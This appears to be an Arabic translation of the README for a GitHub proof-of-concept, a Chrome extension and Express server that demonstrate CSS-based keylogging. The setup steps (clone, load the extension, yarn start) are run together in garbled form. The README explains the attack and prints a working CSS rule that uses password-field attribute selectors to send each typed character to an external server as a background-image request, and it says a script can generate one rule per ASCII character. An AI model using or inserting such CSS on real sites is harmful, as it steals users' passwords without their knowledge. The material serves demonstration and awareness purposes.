
إضافة كروم وخادم إكسبريس يستغلان قدرات تسجيل المفاتيح في CSS.
إضافة كروم وخادم Express يستغل قدرات تسجيل المفاتيح في CSS.
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions في متصفحك (أو افتح قائمة كروم بالنقر على الأيقونة في أقصى يمين شريط العناوين: أيقونة القائمة هي ثلاثة خطوط أفقية، ثم اختر "الإضافات" من قائمة "المزيد من الأدوات" للوصول إلى نفس المكان).css-keylogger-extension داخل الدليل الذي قمت بتنزيل المستودع فيه.yarnyarn startC في أعلى يمين أي صفحة ويب.هذا الهجوم بسيط جداً. باستخدام محددات السمات CSS، يمكن طلب موارد من خادم خارجي بحجة تحميل background-image.
على سبيل المثال، الـ CSS التالي سيختار جميع حقول الإدخال ذات type تساوي password و value تنتهي بـ a.
ثم سيحاول تحميل صورة من http://localhost:3000/a.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
باستخدام سكربت بسيط يمكن إنشاء ملف CSS سيرسل طلباً مخصصاً لكل حرف ASCII.